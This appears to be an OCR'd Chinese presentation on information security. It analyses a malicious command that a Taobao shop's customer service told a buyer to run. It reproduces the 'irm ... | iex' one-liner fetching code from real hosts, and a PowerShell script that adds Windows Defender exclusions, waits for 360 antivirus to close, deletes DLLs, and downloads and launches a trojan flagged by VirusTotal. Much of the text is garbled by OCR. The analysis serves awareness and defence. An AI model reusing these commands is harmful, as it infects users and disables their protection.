Methods of maintaining the
security of our information.

A man ran a command from custom service of a shop on Taobao,
this Is what happened to his computer.
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Dear Participants,

O

Hope you are well!
Confirm you signed up our Tech Forum this
Friday.
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Microsoft Teams =zz==zm»
https:/teams.microsoft.com/l/me
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EBEAR [SMTP] https://baike.baidu.com/item/SMTP/175887

CSDN [ FHBHay TERIE] (2019)
https://blog.csdn.net/weixin 41924879/article/detaiIs/101344681
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BB — XM EEEEENRT
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(MRS E B SteamCDK T &)

TRLX'F*/F% RIETEE
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itﬁ'ﬂ];léﬁ*ﬁ__ltiz/l\ E/J\E’\]bat @echo off Blig<AEIE, ZEMNIESASERLEHEER.

@echo off
taskkill /f /im Steam.exe

steam.sdk|iex "

Powershell -Command W 2| S WIEH EEfEpowershel B FTHIFES, -Verb RunAs IEME ISR R 54

1Z1T7, irm xxxxxx.sdkliex FRIAIR 2 NEHFHNTEFINRS XEEIUEE R SN Epowershell P17
120.77.156.96/steam.sdk

taskkill ¥§2% 1F# %2, -ffgaR%I%, -imMEHEERMNHESR, FIXE ESteam.exe, F5HIZER TR FlsteamIEFF
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ZIPIE[E— 1 FELinuxEMR, FERXEE TE T KX steam.sdk
XA AR —h5X 1, BwindowsE iKY [E1 210 PURRirm e <

BF T R — 1T RIAR

(THAZRBNie)KBEPHINE, AXE
K2, HFPTTEFETHARNE.

iIrm http://by.haory.cn/g1/589/xc|iex
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cls

Write-Host -NoNewline "

Write-Host -NoNewline " VAN A\ A\ AN\ N\ ‘r" -ForegroundColor:blue
Write-Host -NoNewline " /NN /NN /NN /NN /N \ 'r" -ForegroundColor:blue
Write-Host -NoNewline " /NN ARANEAY /NN /NN /i 'r" -ForegroundColor:blue
Write-Host -NoNewline " /z\\ ARARAY VRSN VSN V| ‘r" -ForegroundColor:blue
Write-Host -NoNewline " /::/Az\ \ ARANEAY VAHASANEA VAANANEA Pt I r" -ForegroundColor:blue
Write-Host -NoNewline " /::/_\i\ \ AR AN [/ NN\ /NN N rz/ 'r" -ForegroundColor:blue
Write-Host -NoNewline " \:x\ i\ \ NNz N N \sN N 2/ ‘r" -ForegroundColor:blue
Write-Host -NoNewline " __\::\ i\ \ ez oo\ ZmmNo\aN N ZmmNoNaN N /u/ s | r" -ForegroundColor:blue

Write-Host -NoNewline " /A \ix\ i\ \

Write-Host -NoNewline

ZaAGN N LA NN N LA s\ N

7455 N VA N VA N N 4357/ VA N V55980 V53 N VA N V4357 2 V41 S VS0 N VSt A

‘r" -ForegroundColor:blue

:\  \'r" -ForegroundColor:blue

=\___\'r" -ForegroundColor:bl

Write-Host -NoNewline "\:x\ \a\ N/ / 72/ N/ AN NN N/ AN/ \aN o/ N ) ~~~~~ /::/ /" -ForegroundColor:blu
Write-Host -NoNewline "\:\ \o\ V__/ /z/ /NV__/ \oN \a\ V__/ N__/\aNe/ /N__ )/ 1/ /7" -ForegroundColor i
Write-Host -NoNewline " \::\ \u\ \  /u/ / ARA N VA NN \u/ o/ /::/ /1 r" -ForegroundColor:blue
Write-Host -NoNewline " \::\ \u\_\ /u/ / VAN VAN \ui/ o/ /::// °r" -ForegroundColor:blue
Write-Host -NoNewline " \u\ 7/ / \i/ / o\ o\ 7/ /il /::/ / r" -ForegroundColor:blue
Write-Host -NoNewline " \u\i/ /0 V__/ o\ VL / VS /://  r" -ForegroundColor:blue
Write-Host -NoNewline " / ANANERY VA /:/ /  r" -ForegroundColor:blue
Write-Host -NoNewline " \i/ / ANAEAN Vs VA r" -ForegroundColor:blue
Write-Host -NoNewline " \o/ /7 \i/ 7 \o/ \i:/ /7 *r" -ForegroundColor:blue
Write-Host -NoNewline * \/__/ \/__/ \/__/ \__/ r" -ForegroundColor:blue

Write-Host -NoNewline "steamworks is run " —ForegroundColor:green
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$filePathToDelete = Join-Path $env:USERPROFILE "xc.ps1”

if (Test-Path $filePathToDelete) {

} Remove-Item -Path $filePathToDelete J\g-)_l-,/nj I:P {—mﬂﬂ-l’] ?ﬁ T EE'H&_ El\] _JEY'T#
$desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "xc.ps1" % Ei T 1/_]\ El\] \;Eﬂﬂ-% )
- & 1 frsteamfFE Ayl

2O FIRRE T I RAZABEE R REITHIX DA

}
$steamRegPath = 'HKCU:\Software\Valve\Steam'

$localPath = -join ($env:LOCALAPPDATA,"\SteamActive")
if (Test-Path $steamRegPath)) {
$properties = Get-ltemProperty -Path $steamRegPath
if ($properties.PSObject.Properties.Name -contains 'SteamPath’) {

$steamPath = $properties.SteamPath

if (fsteamPath.Length -le 5){

$steamPath = (Get-ItemProperty -Path "Registry::HKEY_CURRENT _USER\SOFTWARE\Valve\Steam\ActiveProcess" -ErrorAction Stop).'SteamClientDII"

$steamPath = $steamPath -replace "steamclient.dll *,*"

if (-not ([Security.Principal.WindowsPrincipal][Security.Principal. Windowsldentity]::GetCurrent()).IsinRole([Security.Principal. WindowsBuiltinRole]::Administrator)) { Write-Host "[Please re-open Power shell as administrator.]" -ForegroundColor:red exit }



e

function PwStart() {
if(Get-Process "360Tray*" -ErrorAction Stop){
while(Get-Process 360Tray* -ErrorAction Stop){
Write-Host "[please close 360 software]" -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart
}
if(Get-Process "360sd*" -ErrorAction Stop)
{
while(Get-Process 360sd+* -ErrorAction Stop){
Write-Host "[please close 360 software]" -ForegroundColor:Red
Start-Sleep 1.5
}

PwStart

}

if ($steamPath -eq ""{

i

Write-Host "[Please check if your Steam is installed correctly]” -ForegroundColor:Red

exit

}

Write-Host "[ServerStart OK]" -ForegroundColor:green
Stop-Process -Name steam+ -Force -ErrorAction Stop
Start-Sleep 2

if(Get-Process steam=* -ErrorAction Stop){

TASKKILL /F /IM "steam.exe" | Out-Null

Start-Sleep 2

—
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# exclude windows defender

if (Get-Service | where-object { $_.name -eq "windefend" -and $_.status -eq "running" }) {

Add-MpPreference -ExclusionPath $steamPath -ExclusionExtension ".dll",".exe"

Write-Host "[ServerStartl OK]"
}
else {

Write-Host "[ServerStart exclude failed]."

if ((Test-Path $localPath)) {
md $localPath | Out-Null
if (!(Test-Path $localPath)) {

New-Item $localPath -ltemType directory -Force | Out-Null

$catchPath = -join ($steamPath,"\package\data")
if ((Test-Path $catchPath)) {
if (Test-Path $catchPath)) {

Remove-Item $catchPath -Recurse -Force | Out-Null

e N

try{
Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
Start-Sleep 3

Jcatch{}

Write-Host "[Result->0 OK]" -ForegroundColor:green

try{
$d = $steamPath + “/version.dll"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #C&3y1ACEp
}
$d = $steamPath + "/user32.dll"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #C&3y1ACEp
}
$d = $steamPath + “/hid.dIl"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #C&3y1ACGEp
}

Jecatch{

ETkR, XPHIAZEWIndows
defence F3Esteamtg K K12
WA T HERER R, XA
Windows defenceft A&
BEENXHE, AETN—F
B®1E,
EEIZBH AR 7 2dll, Ff
EETRNTEBEFAZHARD
X7

Write-Host "[Abnormality remains. Please check whether the [$d] file is abnormal!]" -ForegroundColor:red

exit



# $sdnsAddress=("223.5.5.5","114.114.114.114");

# Get-NetlIPConfiguration | Set-DnsClientServerAddress -ServerAddresses $sdnsAddress -ErrorAction Stop

# Write-Host "[SetDNS OK]" -ForegroundColor green
#}

#catch{

# Write-Host "[SetDNS ERROR]" -ForegroundColor green

#

$d = $steamPath + "/steamworks.exe"

#$downloadLink = "http://by.haory.cn/g1/589/steamworks.exe”
$downloadLink = "https://vip.123pan.cn/1830969120/v/steamworks.exe”
irm -Uri $downloadLink -OutFile $d -ErrorAction Stop

Write-Host "[Result->1 OK]" -ForegroundColor:green

#$readHostValue = Read-Host -Prompt "Please enter cdkey"

#Start-Sleep 1

#Start $d $readHostValue
Start $d
Write-Host "[Enter the cdkey successfully,. Please log in to your game account! Automatically shuts down after 3 seconds]
#Start-Sleep 3
exit
}

PwStart

" -ForegroundColor:green

e N7 N

EBCEREAEB D (A INIT) BB ARAIdNs U
FRARIRBE AN TR L X+

ETRHITAIEM123M & T Zisteamworks.exe
Fiz1T,

EEMSIL R NBIERD,

HSAMXE REEE, EREAEERK
Enter the cdkey successfully,

AR TR{RFTFrsteam, 3F/F,

K AL B
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steamworks.exe

/48 SHA256: bb59b6780f4bd83c60a436a0a58becafd411e98885bbbcc01cd66d3806eb3b91

SHA1: 0246c812db657bdbfb55c0cc7d8151d057b6ag%e6
MD5: 22bb656ada67cfcb12499b4679baa93d

@ 31%A B #35ER

Af8): 2024-11-01 16:48:39

AVG ESET
GDATA Avast
Rising Arcabit
Emsisoft Xvirus
F-Prot Fortinet
Defenx F-Secure
Authentium NANO
Panda Baidu
Antiy AlLYac
Comodo AhnLab

Qihu360 Sunbelt

ES NN

1436a0a58becafd411e98885bbbcc01cd66d3806eb3b91

XA\ 1001.95 KB (1025992)
: pe

33: 2024/10/13 09:18:39 (GMT+8)

FRSDHT: 2024/11/01 16:48:39 (GMT+8)

DETECTION DETAILS

A XNMXHUFEEITREY

(¢ 2/71 secu| endc t s malic C Reanalyze = Similar More v
bb59b6780f4bd83c60a436a0a58becafd411e98885bbbcc01cd66d3806eb3b9l Size ast Analysis Date 9
steam works 1001.95 KB a moment ago EXE

peexe upx  overlay  checks-userinput signed

RELATIONS BEHAVIOR COMMUNITY 1

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label ()

ERN

Security vendors' analysis @

AhnLab-V3

ALYac

Arcabit

AVG

BitDefender

CTX

Cynet

Elastic

eScan

Threat categories trojan  downloader  dropper Family labels lazy  ihhyx

), n/Win.Generic.R63 Alibaba jar
1 n Antiy-AVL (©) jan[D fer
0 jan.Lazy.C [ Avast @ win32:0r
) Avira (no cloud) O) Y nt.iht
Bkav Pro O ws )
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